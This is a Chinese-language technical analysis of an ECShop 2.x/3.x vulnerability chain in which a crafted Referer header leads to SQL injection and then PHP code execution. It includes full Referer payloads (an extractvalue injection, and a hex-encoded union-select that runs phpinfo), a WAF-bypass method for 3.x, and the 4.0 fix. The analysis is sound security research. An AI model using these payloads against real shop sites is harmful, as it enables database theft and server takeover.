ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。
2018年6月13日,知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”防御拦截并捕获到一个针对某著名区块链交易所网站的攻击,通过分析,发现攻击者利用的正式ECShop 2.x版本的0day漏洞攻击。
本测试环境是2.7.3,理论上2.x的都存在该漏洞,3.x自带WAF(ecshop/includes/safety.php),对所有传入的参数都做了检测会触发SQL注入的检测规则(存在绕过)。
本环境下载地址:https://www.ecshop119.com/ecshopjc-125.html
一、SQL注入漏洞
ecshop/user.php

重点关注$back_act,它是从HTTP_REFERER获取的值,而HTTP_REFERER是外部可控的
接着back_act变量传递给assign函数,接着寻找到ecshop/includes/cls_template.php中

注册变量,分析功能$this->_var[$tpl_var] = $value;
也就是back_act变成了$this->_var[$back_act]=$back_act
继续回到user.php,调用完assign后接着调用了display,还是在cls_template.php跟进

从流程上来看,首先调用$this->fetch来处理user_passport.dwt模板文件
user_passport.dwt是在user.php中写死的
1  | $smarty->assign('back_act', $back_act);  | 
在fetch函数中调用了$this->make_compiled来编译模板
make_compiled函数也在cls_template.php中,功能是会将模板中的变量解析
user_passport.dwt部分内容

大致内容就是把上面assign中注册到的变量$back_act传递进去,解析完的变量返回到
display函数中,$out就是解析变量后的html内容。
接着回到display函数中,判断$this->_echash是否在$out中,若在,使用$this->_echash来分割内容,得到$k然后交给insert_mod处理。
_echash是被定义好的,不会变,所以导致$val内容可以被控制

继续回到display函数中,跟进$this->insert_mod

$val传递给insert_mod,先用|分割,得到$fun和$para
$para进行反序列操作,$fun和insert_字符串拼接
最后动态调用$fun($para),由此函数名后半部分可控,参数完全可控。
接下来寻找insert_开头的可利用函数,在ecshop/includes/lib_insert.php有一个insert_ads函数
1  | /**  | 
其中$arr是可控的,并且会拼接到SQL语句中,这里就造成了SQL注入漏洞
回顾上面的流程,构造payload
echash+fun|serialize(array(“num”=>sqlpayload,”id”=>1))
1  | Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}  | 
二、代码执行漏洞
继续跟进lib_insert.php中的insert_ads函数

第215行中调用了fetch方法,fetch方法在user.php中调用display
然后调用fetch的时候传入的参数是user_passport.dwt
而在此处传入的参数是$position_style
向上溯源,发现是$row['position_style']赋值而来,也就是SQL语句查询的结果,结果
上面这个SQL注入漏洞,SQL查询的结果可控,也就是$position_style可控
但是要到$position_style = $row['position_style'];需要满足$row['position_id'] != $arr['id'],但是查询结果可控,arr['id']同样可控。

之后$position_style会先拼接'str:'传入再fetch函数
继续跟进fetch

看回前面的fetch($position_style)前面拼接了'str:',所以strncmp($filename,'str:', 4) == 0为真,紧接着就调用了危险函数$this->_eval,这就是最终触发漏洞的点
再看$this->_eval传参时需要经过$this->fetch_str方法
接着跟进fetch_str函数
第一个正则匹配了一些关键字,替换为空
1  | preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);  | 
第二正则就是漏洞点
1  | preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);  | 
正则匹配到的值会交给$this-select()函数处理
跟进$this-select()

当传入的$tag第一个值是$,就会成为php标签包含的字符串,最终返回_eval()危险函数中
但是在返回前,又被$this->get_val函数处理了,继续跟进get_val函数

当传入的$val中的值没有.$时,调用了$this->make_var
跟进make_var

到这里就基本结束了,回到select函数中结合现在的语句
_var[' $val '];?>
要成功利用的话,$val先要把['闭合,从下往上构造
1  | abc'];echo phpinfo();//  | 
select函数进入get_val的条件是第一个字符必须是$
1  | $abc'];echo phpinfo();//  | 
接着要进入到select函数,需要被捕获
1  | {$abc'];echo phpinfo();//}  | 
这里出现的phpinfo()会被fetch_str函数第一个正则捕获,需要变换一下
1  | {$abc'];echo phpinfo/**/();//}  | 
到此为止就构造完成了
最后一步就是将构造好的代码通过SQL注入漏洞的方式传递给$position_style
这里可以用union select 来控制查询的结果,根据之前的流程
$row['position_id']和$arr['id']要相等
position_id是第二列,position_style是第九列
$arr['id']传入 ' /*
$arr['num']传入*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10--  -
0x27202f2a是' /*的16进制值
0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d是$row['position_id']的值,上面构造的php代码的16进制值,也就是$position_style
最终payload
1  | Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca  | 

成功执行了phpinfo()
三、ECShop 3.x 绕过
上述的测试环境都是2.7.3的,理论上打2.x都没问题,而在3.x上是不行的,原因是3.x自带了个WAF(ecshop/includes/safety.php),对所有传入的参数都做了检测,按照上面构造的 payload ,union select 会触发SQL注入的检测规则。
3.x版本的echash是45ea207d7a2b68c49582d2d22adf953a。 上面说了 insert_ads 函数存在注入,并且有两个可控点,$arr['id']和$arr['num'],可以将union select通过两个参数传递进去,一个参数传递一个关键字,中间的可以使用/**/注释掉,这样就不会触发WAF。
漏洞修复
在ECShop 4.0上这个漏洞就被修复了,ecshop4/ecshop/includes/lib_insert.php中将传递进来的$arr[id]和$arr[num]强制转换成整型,这样就没法利用这个漏洞了官网也有相关的(2.x和3.x)的补丁。